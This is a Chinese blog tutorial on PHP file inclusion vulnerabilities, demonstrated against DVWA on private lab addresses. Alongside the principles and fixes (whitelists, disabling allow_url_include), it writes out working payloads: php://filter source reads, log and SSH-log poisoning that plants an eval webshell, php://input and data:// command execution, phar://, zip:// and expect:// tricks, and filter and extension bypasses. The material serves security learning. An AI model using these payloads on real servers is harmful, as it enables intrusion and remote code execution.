文件包含漏洞(详解)

最新推荐文章于 2024-09-19 18:29:18 发布
最新推荐文章于 2024-09-19 18:29:18 发布
阅读量828 收藏 11
点赞数 18
分类专栏： WEB安全 文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2401_82576671/article/details/135548948
版权

1.1、简介

1.1.1、原理

  • 能够将其他类型的文件当成php解析。
#1、创建一个123.php文件。
<?php
$filename=$_GET['filename'];
include($filename);
?>
#在可以解析的文件目录下面,访问http://192.168.41.3:180/123.php?filename=phpinfo.php
2、将phpinfo.php文件修改为phpinfo.txt或其他格式文件。
重新访问http://192.168.41.3:180/123.php?filename=phpinfo.txt发现可以正常解析。

1.1.2、常见函数

#函数作用:包含并运行指定文件。
#区别:
include():在出错时产生警告(E_WARNING),脚本会继续运行。
include_once():与include唯一的区别是，include_once会检查指定文件是否已经被包含过，如果是则不会在包含。
require():在出错时产生错误，脚本终止运行。
require_once():与require唯一的区别是:使用该函数时，文件如果被包含过，就不会在包含。

1.1.3、漏洞分类

  • 本地包含：

  • 远程包含：

#条件:allow_url_include=on(默认不开启)、allow_url_fopen=on(默认自动开启)、magic_gutes_gpc=off。
1、网址1链接:http://192.168.31.85/test.php
<?php
echo "i am 123"
?>
2、网址2链接
http://192.168.41.3:180/123.php?filename=http://192.168.31.85/test.php

1.1.4、漏洞挖掘

#白盒测试看代码中有没有include、include_once、require、require_once。
#黑盒测试看url连接进行测试。
#http://xxx?page=file1.php

1.1.5、漏洞修复

1、代码层面修复

将包含的文件设置成白名单。

2、服务器安全配置

修改PHP的配置文件，关闭allow_url_incluide，可以防止远程文件包含。

1.2、作用

1.2.1、读取文件

实验1：读取文件内容
?page=php://filter/read=convert.base64-encode/resource=file2.php
#也可以读取上一级文件:../view_help.php。

在这里插入图片描述

#将右侧的编码进行base64解码。

在这里插入图片描述

实验2：日志文件包含
#1、开启apache日志功能，在httpd.conf文件中搜索access.log

在这里插入图片描述

#2、将<?php phpinfo();?>写入对方配置文件中。(需要通过bp放包，直接访问会被编码)

在这里插入图片描述

#3、http://192.168.41.3:180/dvwa/vulnerabilities/fi/?page=../../../../Apache/logs/access.log

在这里插入图片描述

#4、让访问日志文件记录写下文件脚本代码
<?PHP fputs(fopen('webshell.php','w'),'<?php @eval($_POST[cmd])?>');?>

在这里插入图片描述

#5、重新访问http://192.168.41.3:180/dvwa/vulnerabilities/fi/?page=../../../../Apache/logs/access.log，查看是否生成webshell.php文件。

在这里插入图片描述

#6、webshell连接。

在这里插入图片描述

实验3：ssh日志文件包含
漏洞利用条件:SSH日志路径已知，并且有可读权限。
SSH日志文件的默认路径为/var/log/secure
1、将恶意代码写入日志文件:ssh "<?php @eval(POST[123];?>"@192.168.41.200
2、查看ssh日志:cat /var/log/secure
3、通过文件包含访问
http://192.168.41.3:180/dvwa/vulnerabilities/fi/?page=../../../../var/log/secure

在这里插入图片描述

1.2.2、命令执行

#条件:allow _url_include为on才可以。
1、http://192.168.41.3:180/dvwa/vulnerabilities/fi/?page=php://input
2、在请求体上添加:<?php system('net user');?>

在这里插入图片描述

1.2.3、写入文件

#条件:allow _url_include为on才可以。
1、http://192.168.41.3:180/dvwa/vulnerabilities/fi/?page=php://input
2、在请求体上添加:<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1.3、绕过

1.3.1、str_replace()绕过

#格式:str_replace(find,replace,string,count)
	#find		必需。规定要查找的值。
	#replace	必需。规定替换 find 中的值的值。
	#string		必需。规定被搜索的字符串。
	#count		可选。对替换数进行计数的变量。

#从Hello world!中搜索，将World，替换成Shanghai。
<?php
echo str_replace("world","Shanghai","Hello world!");
?>

在这里插入图片描述

#绕过代码
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

绕过方法：

1、双写绕过
远程包含:http://192.168.41.3:180/dvwa/vulnerabilities/fi/?page=htthttp://p://p192.168.31.85/replace.php
本地包含:http://192.168.41.3:180/dvwa/vulnerabilities/fi/?page=..././view_help.php
2、绝对路径绕过
http://192.168.41.3:180/dvwa/vulnerabilities/fi/?page=C:\phpStudy\WWW\DVWA\vulnerabilities\view_help.php
#实验不成功，需要切换php版本。

1.3.2、伪协议

if(!fnmatch("file*",$file)&&$file!="include.php")
#当文件既不是"include.php"（包含include.php文件）也不是"file*"（文件名file开头）时才抛出错误，反之意思，如果文件名符合其中一个条件既可以。
?page=file:///C:/xampp/htdocs/dvwa/php.ini

常见的伪协议:

file://		-访问本地文件系统。
http://		-访问HTTP(S)网址。
ftp://		-访问FTP(S)URL。
php://		-访问各个输入输出流。
zlib://		-处理压缩流。
data://		-读取数据。
glob://		-查看匹配的文件路径模式。
phar://		-PHP归档。
ssh2://		-Secure Shell 2。
rar://		-RAR数据压缩。
ogg://		-处理音频流。
expect://	-处理交互式的流。
1、php://filter
作用：对本地磁盘文件进行读写
#以下两种代码用法相同。
?page=php://filter/read=convert.base64-encode/resource=xxx.php
?page=php://filter/convert.base64-encode/resource=xxx.php
2、php://input
使用方法:通过post直接提交数据。

在这里插入图片描述
在这里插入图片描述

#写入一句话木马。
<?php fputs(fopen('shell.php','w'),'<php @eval($_POST[cmd])?>');?>

#执行系统命令。
<?php system('whoami');?>

在这里插入图片描述

3、file://
#可以读取本地文件内容
?filename=file://文件绝对路径

在这里插入图片描述

4、data://
#主要用于数据的读取，如果传入的是PHP代码，就会执行任意代码。
格式:?filename=data://text/plain;base64,XXXXX(Base64编码后的数据)

在这里插入图片描述

5、phar://
#phar用来解压的伪协议。
?filename=phar://压缩包/内部文件
?filename=phar://shell.png/shell.php

实验步骤:
1、生成一个phpinfo.php文件
文件内容:<?php phpinfo();?>
2、将phpinfo.php压缩成phpinfo.zip
3、将phpinfo.zip文件压缩成phpinfo.png
4、将phpinfo.png上传到对方服务器,使用phar进行解压
http://192.168.41.3:180/123.php?filename=phar://phpinfo.png/phpinfo.php
6、zip://
#跟phar原理相同，但是格式不同
格式:zip://绝对路径#子文件名
#在浏览器中要转换为URL编码%23，浏览器默认不会传输特殊字符。
http://192.168.41.3:180/123.php?filename=zip://C:/phpStudy/WWW/phpinfo.png%23phpinfo.php
7、expect://
#主要用来执行系统命令，但是需要安装扩展。
#?file=expect://ls

1.3.3、限制绕过

使用场景：代码中指定了特定的前缀或者.php、.html等后缀名。

<?php
$filename=$_GET['filename'];
include($filename.".html");
?>
1.3.3.1、本地绕过
1、%00截断
漏洞利用条件：magic_quotes_gpc=off；PHP版本低于5.3.4。
#原理:%00会被认为是结束符，后面的数据会被直接忽略，导致扩展名截断。从而绕过指定扩展名。
2、路径长度截断
#操作系统存在最大路径长度的限制，超过最大路径长度的目录，操作系统会将后面的路径丢弃，导致扩展名截断。
Windows下目录的最大路径长度为256B。
Linux下目录最大路径长度为4096B。

?page=file:///C:/xampp/htdocs/dvwa/php.ini/./././././././././././././././...
3、点号截断
#光适用于Windows系统。当点号长度大于256B时，就可以造成扩展名截断。
?page=file:///C:/xampp/htdocs/dvwa/php.ini.........................
1.3.3.2、远程绕过
1、问号绕过
可以在(?)后面添加HTML字符串,问号后面的扩展名.html会被当作查询,从而绕过扩展名过滤。
http://xxx/text.php?filename=http://xxx/FI/php.txt?
2、井号绕过
可以在井号(#)后面添加HTML字符,#号会截断后面的扩展名.html,从而绕过扩展名过滤。井号的URL编码为%23。
http://xxx/text.php?filename=http://xxx/FI/php.txt%23
3、空格绕过
可以使用空格后面添加HTML字符,空格会截断后面的扩展名.html,从而绕过扩展名过滤。空格的URL编码为%20。
http://xxx/text.php?filename=http://xxx/FI/php.txt%20
极品沸羊羊
关注
专栏目录
PHP文件包含漏洞
课嗨教育的专栏
11-13 238
涉及到的危险函数〔include(),require()和include_once(),require_once()〕 include()&&require()语句:包括并运行指定文件。这两种结构除了在如何处理失败之外完全一样。include()产生一个警告而require()则导致一个致命错误。换句话说，如果你想在遇到丢失文件时停止处理页面就用require()。include()就不是这样。 漏洞代码： root@ubuntu:/var/www# cat lif.php <
《网络安全自学教程》- 文件包含漏洞详解
热门推荐
wangyuxiang946的博客
02-06 1万+
文件包含函数，文件包含漏洞配置文件，文件包含方式，PHP伪协议，日志包含
文件包含漏洞
syy
05-01 6362
目录 一、文件包含漏洞概述 二、文件包含漏洞类型 三、常用的防御方式 四、常用的绕过方式 一、文件包含漏洞概述 1.什么是文件包含 程序开发人员通常会把可重复使用的函数写到单个文件中，在使用某个函数的时候，直接调用此文件，无需再次编写，这种调用文件的过程通常称为包含。 2.文件包含漏洞产生原理 文件包含函数加载的参数没有经过过滤或严格定义，可以被用户控制，包含其他恶意文件，导致了执行非预期代码。 程序开发人员都希望代码更加灵活，所以通常会把被包含的文件设置为变量来进行动态调用，但正是
PHP漏洞之文件包含漏洞
dogeace的博客
11-28 1865
在php语言中存在着下面几个函数存在文件包含的的功能，这些函数的本意是方便开发者及用户实现某些功能，但是如果不对文件包含的内容进行严格的的限定，会被攻击者恶意利用。这就是php的文件包含漏洞。下面有四个函数可以实现文件包含分别是： 1.include（）；用此函数包含的时候，如果出现错误，会提出警告，跳过此步骤继续执行剩下的代码。 2.require（）；此函数文件包含出现错误的时候，终止程序的运行，与include（）区别就是这里。 3.include_once()与1的唯一区别是文件只被包含一次，避免文
Web安全：文件包含漏洞测试（防止 黑客利用此漏洞.）
网络安全领域___专研者.
05-31 2051
文件包含的漏洞是 程序员在开发网站的时候，为了方便自己开发构架，使用了一些包含的函数（比如：php开发语言，include() , include_once() , require_once() 等等），而且包含函数中的变量，没有做一些过滤或者限制，使得用户可以 控制传到服务器中的数据，导致文件包含漏洞。
PHP文件包含漏洞原理分析和利用方法
binger819623的专栏
09-08 1616
摘要：一、涉及到的危险函数〔include(),require()和include_once(),require_once()〕 include()&&require()语句:包括并运行指定文件。这两种结构除了在如何处理失败之外完全一样。include()产生一个警告而require()则导致一个致命错误。换句话说，如果你想在遇到丢失文件时停止处理页面就用require()。include
php本地文件包含漏洞,本地文件包含漏洞详解---LFI
weixin_30668061的博客
03-09 1145
1概述文件包含(Local File Include)是php脚本的一大特色，程序员们为了开发的方便，常常会用到包含。比如把一系列功能函数都写进fuction.php中，之后当某个文件需要调用的时候就直接在文件头中写上一句就可以调用内部定义的函数。本地包含漏洞是PHP中一种典型的高危漏洞。由于程序员未对用户可控的变量进行输入检查，导致用户可以控制被包含的文件，成功利用时可以使web server...
Web后端服务平台解析漏洞与修复、文件包含漏洞详解
最新发布
CoffeMilk的博客
09-19 1461
Web网站的运行一般需要后端的服务器平台提供服务解析服务，常见的服务器平台有Apache、Nginx、IIS，而同一服务器下不同版本的服务平台又有不同的解析漏洞。 文件包含操作，在目前流行的开发语言（Java、C#、python、php、...）中都会提供；但是PHP对于文件包含所提供的功能太强大，太灵活，故包含漏洞经常出现在PHP语言中，这也就导致了出现了一个错误现状，很多初学者认为包含漏洞只出现PHP语言之中，其实在其它语言中也可能出现包含漏洞。
Web安全之文件包含漏洞详解
hack0919的博客
04-25 555
PHP文件包含会将一切的文件当成PHP脚本执行
PHP远程文件包含漏洞详解与实例剖析
在描述的文件列表中，列举了多个可能存在远程文件包含漏洞的URL示例。例如： 1. `modules/My_eGallery/public/displayCategory.php?basepath=...` 可能会在`basepath`参数中包含恶意文件路径。 2. `modules/...
【网络安全篇】php文件包含漏洞
贤鱼的博客
10-13 1721
php文件包含漏洞--思路+例题讲解
php文件包含漏洞利用
黑面狐
03-21 2720
上周我们部门弄了一个web安全的兴趣小组。说实话实在惭愧我虽然在安全公司每天都面对着各种漏洞，但是对渗透技术知之又少。于是加入兴趣小组后痛下决心好好学习渗透知识。 现在记录一下上周兴趣小组出的一个测试题目。由于0基础，花了两天时间才解决。 具体要求：读取网站根目录下的一个文本文件中的flag内容，具体的flag格式类似ahflag{xxxxxxxxxxxxxx} 好的，打开测试站点看看。
php文件包含漏洞分析
菜鸟学安全的博客
06-01 273
php伪协议是php支持的协议和封装协议，类似于 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。是php内置的协议可以直接调用。这样的特性可能导致服务器被getshell。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值